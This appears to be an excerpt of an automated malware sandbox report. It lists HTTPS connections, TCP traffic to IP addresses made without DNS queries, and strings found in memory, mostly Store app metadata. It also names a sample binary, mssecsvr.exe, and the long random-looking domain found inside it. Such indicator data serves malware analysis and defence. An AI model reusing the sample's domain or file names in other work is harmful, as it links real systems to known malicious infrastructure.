Source: unknown	Network traffic detected: HTTP traffic on port 54092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50956
Source: unknown	Network traffic detected: HTTP traffic on port 54509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54510
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50398
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56381
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 54510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52906
Source: unknown	Network traffic detected: HTTP traffic on port 50633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52908
Source: unknown	Network traffic detected: HTTP traffic on port 52720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54092
Source: unknown	Network traffic detected: HTTP traffic on port 54175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50459
Source: unknown	Network traffic detected: HTTP traffic on port 52842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52079
Source: unknown	Network traffic detected: HTTP traffic on port 53056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 52601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54381
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 54583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52402
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58985
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54151
Source: unknown	Network traffic detected: HTTP traffic on port 50398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53180
Source: unknown	Network traffic detected: HTTP traffic on port 54530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54157
Source: unknown	Network traffic detected: HTTP traffic on port 58681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51685
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52780
Source: unknown	Network traffic detected: HTTP traffic on port 52551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54163
Source: unknown	Network traffic detected: HTTP traffic on port 51351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52789
Source: unknown	Network traffic detected: HTTP traffic on port 54451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52669
Source: unknown	Network traffic detected: HTTP traffic on port 52786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 52681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52781
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52661
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52545
Source: unknown	Network traffic detected: HTTP traffic on port 52600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52546
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53083
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52670
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54175
Source: unknown	Network traffic detected: HTTP traffic on port 52670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54455
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54583
Source: unknown	Network traffic detected: HTTP traffic on port 52402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 52079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52607
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54225
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50661
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52601
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52964
Source: unknown	Network traffic detected: HTTP traffic on port 50631 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54106
Source: unknown	Network traffic detected: HTTP traffic on port 52492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52720
Source: unknown	Network traffic detected: HTTP traffic on port 52849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 52669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52735
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53025
Source: unknown	Network traffic detected: HTTP traffic on port 52607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53145
Source: unknown	Network traffic detected: HTTP traffic on port 56381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53023
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52611
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54364
Source: unknown	Network traffic detected: HTTP traffic on port 52966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52740
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54365
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53023 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115

Source: svchost.exe, 00000017.00000003.624822392.00000212C0B71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.facebook.com (Facebook)
Source: svchost.exe, 00000017.00000003.624822392.00000212C0B71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.twitter.com (Twitter)
Source: svchost.exe, 00000017.00000003.624822392.00000212C0B71000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.623953307.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z\|\|.\|\|58dfb4d5-be7e-424e-8739-cac99224843f\|\|1152921505695035586\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000017.00000003.624822392.00000212C0B71000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.623953307.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z\|\|.\|\|58dfb4d5-be7e-424e-8739-cac99224843f\|\|1152921505695035586\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab

Source: svchost.exe, 00000017.00000002.668348623.00000212C0B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000017.00000002.668204643.00000212C00EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: mssecsvr.exe.2.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
Source: mssecsvr.exe, 00000007.00000002.990866452.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ
Source: svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000017.00000003.636823308.00000212C0B9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636845736.00000212C0BAB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636914359.00000212C1002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636877259.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.636758222.00000212C1002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.hotspotshield.com/
Source: svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000017.00000003.641125624.00000212C0B81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.641002705.00000212C0B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
